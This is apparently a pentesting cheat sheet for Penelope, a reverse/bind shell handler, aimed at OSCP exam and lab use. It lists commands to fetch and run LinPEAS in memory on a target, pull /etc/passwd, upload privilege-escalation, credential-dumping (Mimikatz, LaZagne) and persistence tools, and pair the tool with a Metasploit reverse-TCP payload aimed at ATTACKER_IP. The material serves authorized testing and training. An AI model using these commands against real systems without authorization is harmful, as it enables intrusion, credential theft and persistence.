Penelope — Shell Handler

Ctrl+F: penelope · F12 · -O · oscp-safe · -s · upload · download · script · run linpeas · ~/.penelope

Repo: brightio/penelope

Modern reverse/bind shell handler — drop-in upgrade from nc / rlwrap nc. Auto PTY upgrade, session logging, file transfer, in-memory script execution, modules (LinPEAS, lse, linux-exploit-suggester), multi-session tabs, HTTP file server.

OSCP: Core shell handling is exam-appropriate; use penelope -O (--oscp-safe) to disable risky auto-modules. Avoid traitor (auto privesc) and use meterpreter only if current rules allow.

Shell · rlwrap · Netcat · File Transfer · Privesc Tools


📌 Installation

Requires Python 3.6+ on attacker (Linux, macOS, FreeBSD).

sudo apt update
sudo apt install penelope
penelope -h

Installation - Kali Setup

Standalone (no install — stdlib only)

wget -q https://raw.githubusercontent.com/brightio/penelope/refs/heads/main/penelope.py && python3 penelope.py

pipx

pipx install git+https://github.com/brightio/penelope
# Stable PyPI release:
pipx install penelope-shell-handler

📌 Features overview

Session features (by target OS)

FeatureUnix-likeWindows
Auto-upgrade shellPTYreadline (*)
Real-time terminal resize
Logging shell activity
Download remote files/folders
Upload local/HTTP files/folders
In-memory script exec + live output save
Local port forwarding
Multi-tab / multi-host shells
Auto-maintain N shells per host (re-spawn)

(*) Windows: manually upgrade to PTY when possible. Windows support is experimental.

Global features

  • Multiple sessions + multiple listeners
  • HTTP file/folder serve (-s)
  • Importable from Python exploits (exploit_examples)
  • Metasploit: set DisablePayloadHandler True then use Penelope listener
  • MCP server (--mcp) — local HTTP, token auth (~/.penelope/mcp.json)

📌 Typical usage (CLI)

penelope                          # Listen 0.0.0.0:4444 (reverse shells)
penelope -p 5555                  # Listen on 5555
penelope -p 4444,5555             # Multiple listeners
penelope -i eth0 -p 5555          # Bind to interface
penelope -a                       # Listen + show sample reverse-shell payloads
 
penelope -c target -p 3333        # Connect to bind shell on target:3333
 
penelope ssh user@target          # SSH reverse shell → local :4444
penelope -p 5555 ssh user@target
penelope -i eth0 -p 5555 -- ssh -l user -p 2222 target
 
penelope -O -p 4444               # OSCP-safe mode
penelope -O -p 80                 # Lab example — listener on 80

Trigger reverse shell on target → Penelope auto-attaches, upgrades PTY, logs session.

→ Payloads: Reverse Shell - Base64 bash-c echo and One-Liners · penelope -a for built-in examples


📌 HTTP file server (-s)

Quick alternative to python3 -m http.server:

penelope -s file.txt                 # Single file on 0.0.0.0:8000
penelope -s /path/to/dir             # Whole folder
penelope -s a.sh b.elf notes.txt       # Multiple items
penelope -s . -p 80                  # Current dir on port 80
penelope -s secret.txt -prefix xk9   # URL: /xk9/secret.txt
penelope -s -u                       # Upload mode (PUT/POST → CWD)
penelope -s -u -ud /tmp/loot         # Uploads saved to /tmp/loot

Penelope prints ready-to-paste URLs per interface on start.

File Transfer · Ligolo-ng > 📌 File transfer through tunnel (listener + HTTP)


📌 Main menu — navigation

ActionHow
Detach shell → menuF12 (PTY) · Ctrl-D (readline) · Ctrl-C (raw/basic shell)
Re-enter sessioninteract 1 or short i 1
TAB completionYes — commands + short aliases

When you attach, Penelope shows which key detaches for that session type.

Session operations

CommandShortDescription
run [module]Run a built-in module (see below)
upload <path|URL>...Upload local files, folders, or HTTP(S)/FTP URLs to target
download <remote>... [-o dir]Download files/folders from target
open <remote>...Download + open with local default app
script <file|URL>In-memory execute script; stream output to local file (Unix)
exec <command>Run command on target; print output (non-interactive)
upgrade [ID]Upgrade session to PTY
spawn [port] [host]Spawn another shell from current target
maintain <NUM>Keep NUM active shells per host (auto re-spawn)
portfwd <spec>Local/remote port forward · portfwd stop <id>

Example workflow (from upstream docs):

  1. Auto PTY shell + logged session
  2. script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh — LinPEAS in memory, output saved locally
  3. Second tab: spawn / interact 2
  4. upload linpeas + lse to target
  5. upload folder of custom scripts
  6. upload exploit from URL (exploit-db)
  7. open remote file locally
  8. download /etc — pull remote directory
  9. maintain 2 — replace dead shells automatically

Session management

CommandShortDescription
sessions [ID]List sessions or switch
use <ID>Select session context
interact <ID>iAttach to session
kill <ID|*>Kill session(s)
dir [ID].Open session log folder locally

Shell / listener management

CommandDescription
listenersView listeners
listeners add [-i iface] [-p ports] [-j host:port]Add listener
listeners stop <id|*>Stop listener
connect <host> <port>Connect to bind shell
payloads [interface]Show reverse-shell one-liners for active listeners
InterfacesList local network interfaces

Miscellaneous

CommandDescription
modulesList available modules
help runModule details
historyCommand history
cd / lcd <path>Remote / local working dir (menu context)
resetReset terminal
reloadReload rc file
SET [option [value]]View/set options
DEBUGToggle debug
exit / qQuit Penelope

📌 Built-in modules (run <name>)

ModuleCategoryWhat it does
peass_ngPrivEscRun latest LinPEAS in memory (Unix)
lsePrivEscRun latest lse.sh in memory
linuxexploitsuggesterPrivEscRun linux-exploit-suggester
upload_privesc_scriptsPrivEscUpload linpeas, lse, deepce, pspy / winpeas, powerup, etc.
upload_potatoPrivEscUpload GodPotato, SigmaPotato, PrintSpoofer
upload_local_exploitsPrivEscUpload DirtyFrag, DirtyPipe
traitorPrivEscUpload Traitor (auto privesc — avoid on OSCP)
upload_credump_scriptsCred dumpMimikatz, LaZagne, Snaffler, SharpWeb
upload_ad_scriptsADPowerView, SharpHound, GhostPack, adPEAS
uacForensicsUnix Artifacts Collector
linux_procmemdumpForensicsProcess memory dump (needs root)
ligoloPivotingUpload Ligolo-ng agent
chiselPivotingUpload Chisel
ngrokPivotingTCP tunnel via ngrok
panixPersistenceUpload PANIX
meterpreterSpawn Meterpreter session
cleanupRemove uploaded files/dirs from target
# In main menu (after F12)
run peass_ng
run lse
run upload_potato
run cleanup

lse - Linux Smart Enumeration · linux-exploit-suggester · PrintSpoofer · Ligolo-ng · Chisel


📌 Command-line options (full)

positional arguments:
  args                          Args for -s/--serve and SSH reverse shell modes

options:
  -p, --ports                   Ports (comma separated) — listen/connect/serve
                                (Default: 4444/5555/8000)

Reverse or Bind shell?:
  -i, --interface               Local interface/IP (Default: 0.0.0.0)
  -c, --connect                 Bind shell host
  -j, --jump                    Reverse shell jump endpoints

Hints:
  -a, --payloads                Show sample reverse shell payloads
  -l, --interfaces              List network interfaces
  -h, --help                    Help

Session Logging:
  -L, --no-log                  Disable session log files
  -T, --no-timestamps           Disable timestamps in logs
  -CT, --no-colored-timestamps  Disable colored timestamps

Misc:
  -M, --menu                    Start in Main Menu
  -m, --maintain                Keep N sessions per target
  -S, --single-session          Only first session
  -ms, --max-sessions           Max sessions per host (default 5; 0 = reject new)
  -C, --no-attach               Don't auto-attach new sessions
  -U, --no-upgrade              Disable shell auto-upgrade
  -H, --keep-history            Keep target shell history
  -O, --oscp-safe               OSCP-safe mode
  --no-disk                     All state in RAM (tmpfs)

MCP:
  --mcp                         Enable MCP server (127.0.0.1, token auth)
  --mcp-host / --mcp-port / --mcp-token

File server:
  -s, --serve                   HTTP file server mode
  -prefix, --url-prefix         URL path prefix
  -u, --upload                  Accept PUT/POST uploads
  -ud, --upload-dir             Upload destination dir

Debug:
  -N, --no-bins                 Simulate missing target binaries
  -v, --version
  -d, --debug
  -dd, --dev-mode
  -cu, --check-urls             Check hardcoded URLs health

OSCP-relevant flags

FlagUse
-O / --oscp-safeDisable modules/behavior that violate exam rules
-LNo log files (less sensitive data on disk)
--no-diskNothing persisted to disk
-m NMaintain N shells — unstable exam boxes

📌 vs nc / rlwrap

nc / rlwrap ncPenelope
PTY upgradeManual python3 ptyAutomatic
File transferSeparate toolsupload/download built-in
LinPEASwget + runrun peass_ng or script <url>
Multi-sessionOne terminal per ncTabs / interact 1,2,3
LoggingNoneAuto session logs
ExamAlways OKUse -O

rlwrap when Penelope unavailable


📌 Metasploit integration

# Terminal 1
penelope -p 4444
 
# msfconsole
set DisablePayloadHandler True
use exploit/...
set payload linux/x64/shell_reverse_tcp
set LHOST ATTACKER_IP
set LPORT 4444
run

📌 Security notes

  • Session logs may contain passwords — store securely; use -L if not needed
  • Reverse/bind shells are unencrypted
  • Remote output may include terminal escape sequences (same as SSH/nc)
  • --mcp: bearer token in ~/.penelope/mcp.json — full session control

📌 FAQ (OSCP)

Allowed on OSCP? Core shell handling (listen, PTY, transfer) is generally fine; rules change — verify OffSec docs. Use -O. Avoid traitor; meterpreter only if rules permit.

Return to menu? PTY → F12; readline → Ctrl-D; raw → Ctrl-C (shown on attach).

Customize defaults / modules: peneloperc

CWD wrong after menu commands? Agent tracks initial shell user/dir — cd /tmp before spawning new shell, or open fresh reverse shell as new user.


📌 Troubleshooting

ProblemFix
Port 4444 in usePort in Use - kill listener · pkill -f penelope
Stale sessions / weird stateWipe local state (below)
Module blocked on exampenelope -O
Windows shell limitedupgrade · experimental Windows support

Safest fix: wipe Penelope’s local state

Removes saved sessions/cache on Kali — does not uninstall Penelope:

rm -rf ~/.penelope

Then restart penelope. Also clears MCP token/port cache in ~/.penelope/mcp.json.


📌 Quick cheat sheet

# Listen (OSCP)
penelope -O -p 4444
penelope -a                    # show payloads
 
# HTTP serve
penelope -s /home/kali/tools -p 8080
 
# In menu (F12 to get here)
sessions
i 1                            # interact session 1
run peass_ng
run lse
upload /home/kali/tools/PrintSpoofer64.exe C:\\Users\\Public\\
download /etc/passwd
script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
maintain 2
listeners add -p 5555
payloads
kill 1
exit
 
# Reset state
rm -rf ~/.penelope
pkill -f penelope